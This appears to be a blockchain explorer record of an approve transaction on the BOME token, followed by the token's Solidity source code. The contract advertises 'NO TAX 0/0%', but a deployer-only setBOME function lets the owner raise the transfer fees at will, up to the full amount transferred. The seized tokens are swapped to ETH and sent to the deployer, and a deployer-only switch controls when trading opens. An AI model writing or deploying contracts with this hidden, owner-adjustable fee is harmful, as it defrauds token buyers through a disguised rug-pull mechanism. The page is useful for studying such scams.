Transaction Hash:
Block:
19571621 at Apr-03-2024 12:17:59 AM +UTC
Transaction Fee:
0.000992940685634316 ETH
$2.49
Gas Used:
46,699 Gas / 21.262568484 Gwei
Emitted Events:
135 |
BOME.Approval( owner=[Sender] 0x29e1490c092720ee146ed95554b7b840bb19a063, spender=0x00000000...43aC78BA3, value=769458742264121256571325 )
|
Account State Difference:
Address | Before | After | State Difference | ||
---|---|---|---|---|---|
0x1f9090aa...8e676c326
Miner
| 4.442070739275442522 Eth | 4.442070783172502522 Eth | 0.00000004389706 | ||
0x29E1490c...0BB19A063 |
0.006260978302893386 Eth
Nonce: 169
|
0.00526803761725907 Eth
Nonce: 170
| 0.000992940685634316 | ||
0x4f4199B5...f29B3A00B |
Execution Trace
BOME.approve( spender=0x000000000022D473030F116dDEE9F6B43aC78BA3, amount=769458742264121256571325 ) => ( True )
approve[BOME (ln:63)]
Approval[BOME (ln:65)]
/* The most asked question in the universe is BOME? NO TAX 0/0% */ // SPDX-License-Identifier: unlicense pragma solidity ^0.8.20; interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract BOME { string public constant name = "BOME"; // string public constant symbol = "BOME"; // uint8 public constant decimals = 18; uint256 public constant totalSupply = 100_000_000 * 10**decimals; uint256 BurnAmount = 0; uint256 ConfirmAmount = 0; uint256 constant swapAmount = totalSupply / 100; mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; error Permissions(); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); address private pair; address constant ETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; address constant routerAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; IUniswapV2Router02 constant _uniswapV2Router = IUniswapV2Router02(routerAddress); address payable constant deployer = payable(address(0xbf407de0bd2c96F7005423CaF0D481cba88B1A93)); // bool private swapping; bool private tradingOpen; constructor() { balanceOf[msg.sender] = totalSupply; allowance[address(this)][routerAddress] = type(uint256).max; emit Transfer(address(0), msg.sender, totalSupply); } receive() external payable {} function approve(address spender, uint256 amount) external returns (bool){ allowance[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; } function transfer(address to, uint256 amount) external returns (bool){ return _transfer(msg.sender, to, amount); } function transferFrom(address from, address to, uint256 amount) external returns (bool){ allowance[from][msg.sender] -= amount; return _transfer(from, to, amount); } function _transfer(address from, address to, uint256 amount) internal returns (bool){ require(tradingOpen || from == deployer || to == deployer); if(!tradingOpen && pair == address(0) && amount > 0) pair = to; balanceOf[from] -= amount; if (to == pair && !swapping && balanceOf[address(this)] >= swapAmount){ swapping = true; address[] memory path = new address[](2); path[0] = address(this); path[1] = ETH; _uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( swapAmount, 0, path, address(this), block.timestamp ); deployer.transfer(address(this).balance); swapping = false; } if(from != address(this)){ uint256 FinalAmount = amount * (from == pair ? BurnAmount : ConfirmAmount) / 95; amount -= FinalAmount; balanceOf[address(this)] += FinalAmount; } balanceOf[to] += amount; emit Transfer(from, to, amount); return true; } function openTrading() external { require(msg.sender == deployer); require(!tradingOpen); tradingOpen = true; } function setBOME(uint256 newBurn, uint256 newConfirm) external { require(msg.sender == deployer); BurnAmount = newBurn; ConfirmAmount = newConfirm; } }